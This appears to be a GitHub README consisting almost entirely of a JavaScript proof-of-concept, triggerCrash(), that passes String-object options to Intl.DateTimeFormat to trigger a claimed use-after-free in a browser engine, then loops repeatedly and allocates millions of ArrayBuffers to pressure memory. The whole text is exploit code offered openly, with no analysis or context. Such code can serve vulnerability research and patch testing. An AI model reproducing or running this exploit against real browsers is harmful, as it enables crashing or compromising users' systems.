README.md
Rendering markdown...
function triggerCrash() {
try {
const maliciousOptions = {
hour: new String('2-digit'),
minute: new String('2-digit'),
second: new String('2-digit'),
timeZone: 'UTC',
hour12: false
};
const dtf = new Intl.DateTimeFormat('en-US', maliciousOptions);
// Trigger use-after-free
dtf.format(0);
// Attempt to access freed memory aggressively
for (let i = 0; i < 100000; i++) {
// Creating new Intl.DateTimeFormat with same malicious options repeatedly
new Intl.DateTimeFormat('en-US', maliciousOptions).format(0);
}
// Force garbage collection patterns (not directly callable in most browsers)
let arr = [];
for (let i = 0; i < 1e7; i++) arr.push(new ArrayBuffer(1024));
// This line will likely never be reached if vulnerable
document.getElementById('result').innerText =
'Exploit executed but no crash detected.';
} catch (e) {
document.getElementById('result').innerText = 'Crash or exception: ' + e.message;
}
}